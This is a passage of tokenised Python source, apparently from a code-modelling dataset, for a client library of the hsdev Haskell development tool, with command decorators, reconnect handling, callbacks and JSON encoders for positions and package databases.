"\\u\\u\\uNL\\u\\u\\u_", "'", "file", "'_", ":_", "c_", "._", "file_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "level", "'_", ":_", "c_", "._", "level_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "note", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "correct", "or", "'_", ":_", "encode", "\\u", "correct", "or_", "(_", "c_", "._", "correct", "or_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "message", "'_", ":_", "c_", "._", "message_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "region", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "'_", ":_", "encode", "\\u", "position_", "(_", "c_", "._", "correct", "or_", "._", "start_", "._", "from", "\\u", "zero", "\\u", "based", "_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "'_", ":_", "encode", "\\u", "position_", "(_", "c_", "._", "correct", "or_", "._", "end_", "._", "from", "\\u", "zero", "\\u", "based", "_", "(_", ")_", ")_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "correct", "or_", "(_", "c_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "region", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "'_", ":_", "encode", "\\u", "position_", "(_", "c_", "._", "start_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "'_", ":_", "encode", "\\u", "position_", "(_", "c_", "._", "end_", ")_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "s", "'_", ":_", "c_", "._", "contents_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "position_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "line", "'_", ":_", "p_", "._", "line_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "column", "'_", ":_", "p_", "._", "column_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "package", "\\u", "db_", "(_", "db_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "db_", "._", "user", "\\u", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "user", "-", "db", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db_", "._", "global", "\\u", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "global", "-", "db", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "db_", "._", "package", "\\u", "db_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "package", "-", "db", "'_", ":_", "db_", "._", "package", "\\u", "db_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reconnect", "\\u", "function_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "wrapped_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "autocon", "nect", "\\u_", "=_", "kwargs_", "._", "pop_", "(_", "'", "autocon", "nect", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "reconnect", "\\u_", "=_", "kwargs_", "._", "pop_", "(_", "'", "on", "\\u", "reconnect", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "just", "\\u", "connect", "\\u_", "=_", "kwargs_", "._", "pop_", "(_", "'", "just", "\\u", "connect", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "run", "\\u", "fn_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "just", "\\u", "connect", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "autocon", "nect", "_", "=_", "autocon", "nect", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "reconnect_", "=_", "on", "\\u", "reconnect", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "fn_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "just", "\\u", "connect", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "reconnect", "\\u", "function_", "(_", "run", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "run", "\\u", "fn_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrapped_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "begin", "\\u", "connecti", "ng_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "begin", "\\u", "connecti", "ng_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "agent_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "agent_", "=_", "agent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "begin", "\\u", "connecti", "ng_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "enter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "agent_", "._", "set\\u", "connecti", "ng_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "begin", "\\u", "connecti", "ng_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "exit\\u\\u_", "(_", "self_", ",_", "type_", ",_", "value_", ",_", "traceback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "agent_", "._", "set\\u", "uncon", "nect", "ed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "agent_", "._", "is", "\\u", "connecti", "ng_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "agent_", "._", "set\\u", "uncon", "nect", "ed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connect", "\\u", "function_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "wrapped_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "is", "\\u", "uncon", "nect", "ed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "begin", "\\u", "connecti", "ng_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "fn_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "hs", "dev", " ", "alr", "ead", "y", " ", "connect", "ed", "'_", ",_", "log", "\\u", "warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrapped_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hs", "dev", "\\u", "command_", "(_", "async_", "=_", "False_", ",_", "timeout_", "=_", "None_", ",_", "is", "\\u", "list_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "wrap", "\\u", "function_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "wrapped_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wait", "\\u", "flag_", "=_", "kwargs_", "._", "pop_", "(_", "'", "wait", "'_", ",_", "not_", "async_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timeo", "ut", "\\u", "arg_", "=_", "kwargs_", "._", "pop_", "(_", "'", "timeo", "ut", "'_", ",_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "resp_", "=_", "kwargs_", "._", "pop_", "(_", "'", "on", "\\u", "response", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "not_", "=_", "kwargs_", "._", "pop_", "(_", "'", "on", "\\u", "notif", "y", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "err_", "=_", "kwargs_", "._", "pop_", "(_", "'", "on", "\\u", "error", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "res", "\\u", "part_", "=_", "kwargs_", "._", "pop_", "(_", "'", "on", "\\u", "result", "\\u", "part", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "split", "\\u", "res_", "=_", "kwargs_", "._", "pop_", "(_", "'", "split", "\\u", "result", "'_", ",_", "on", "\\u", "res", "\\u", "part_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "name\\u_", ",_", "opts", "\\u_", ",_", "on", "\\u", "result", "\\u_", ")_", "=_", "fn_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "is", "\\u", "list_", "and_", "split", "\\u", "res_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "on", "\\u", "notify_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "'", "result", "-", "part", "'_", "in_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rp_", "=_", "on", "\\u", "result", "\\u_", "(_", "[_", "n_", "[_", "'", "result", "-", "part", "'_", "]_", "]_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "on", "\\u", "res", "\\u", "part_", ",_", "rp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "._", "append_", "(_", "rp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "call", "\\u", "callback_", "(_", "on", "\\u", "not_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "response_", "(_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "on", "\\u", "resp_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "opts", "\\u_", "._", "update_", "(_", "{_", "'", "split", "-", "result", "'_", ":_", "None_", "}_", ")_", "#", " ", "FIX", "ME", ":", " ", "Is", " ", "this", " ", "option", " ", "still", " ", "used", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r_", "=_", "self_", "._", "call_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "opts", "\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "response_", "=_", "on", "\\u", "response_", "if_", "on", "\\u", "resp_", "else_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "notify_", "=_", "on", "\\u", "notify_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "error_", "=_", "on", "\\u", "err_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "wait", "\\u", "flag_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "timeo", "ut", "\\u", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wait", "\\u", "flag_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "on", "\\u", "response_", "(_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "on", "\\u", "resp_", "(_", "on", "\\u", "result", "\\u_", "(_", "r_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "r_", "=_", "self_", "._", "call_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "opts", "\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "response_", "=_", "on", "\\u", "response_", "if_", "on", "\\u", "resp_", "else_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "notify_", "=_", "on", "\\u", "not_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "error_", "=_", "on", "\\u", "err_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "wait", "\\u", "flag_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "timeout_", "=_", "timeo", "ut", "\\u", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "wait", "\\u", "flag_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "on", "\\u", "result", "\\u_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrapped_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrap", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hs", "dev", "\\u", "command_", "(_", "async_", "=_", "False_", ",_", "timeout_", "=_", "1_", ")_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "async", "\\u", "command_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hs", "dev", "\\u", "command_", "(_", "async_", "=_", "True_", ")_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "list", "\\u", "command_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hs", "dev", "\\u", "command_", "(_", "async_", "=_", "False_", ",_", "timeout_", "=_", "1_", ",_", "is", "\\u", "list_", "=_", "True_", ")_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "async", "\\u", "list", "\\u", "command_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hs", "dev", "\\u", "command_", "(_", "async_", "=_", "True_", ",_", "is", "\\u", "list_", "=_", "True_", ")_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cmd_", "(_", "name\\u_", ",_", "opts", "\\u_", "=_", "{_", "}_", ",_", "on", "\\u", "result_", "=_", "lambda_", "r_", ":_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "name\\u_", ",_", "opts", "\\u_", ",_", "on", "\\u", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "callback_", "(_", "fn_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "kwargs_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "kwargs_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "fn_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fn_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "\"", "callback", " ", "'{", "0", "}'", " ", "throw", "s", " ", "exception", ":", " ", "{", "1", "}\"_", "._", "format_", "(_", "name_", "or_", "'<", "unn", "ame", "d", ">'_", ",_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format\\u", "error", "\\u", "details_", "(_", "ds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "',", " ", "'_", "._", "join_", "(_", "[_", "'{}", ":", " ", "{}'_", "._", "format_", "(_", "k_", ",_", "v_", ")_", "for_", "k_", ",_", "v_", "in_", "ds_", "._", "items_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "id_", ",_", "command_", ",_", "on", "\\u", "response_", "=_", "None_", ",_", "on", "\\u", "notify_", "=_", "None_", ",_", "on", "\\u", "error_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "id_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "command_", "=_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start", "\\u", "time_", "=_", "time_", "._", "clock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "response_", "=_", "on", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "notify_", "=_", "on", "\\u", "notify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "error_", "=_", "on", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "time_", "._", "clock_", "(_", ")_", "-_", "self_", "._", "start", "\\u", "time_", "if_", "self_", "._", "start", "\\u", "time_", "is_", "not_", "None_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "log", "\\u", "time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'{", "0", "}:", " ", "{", "1", "}", " ", "second", "s", "'_", "._", "format_", "(_", "self_", "._", "command_", ",_", "self_", "._", "time_", "(_", ")_", ")_", ",_", "log", "\\u", "trace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "response_", "(_", "self_", ",_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "\\u", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "response_", ",_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "notify_", "(_", "self_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "notify_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Callbacks_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", 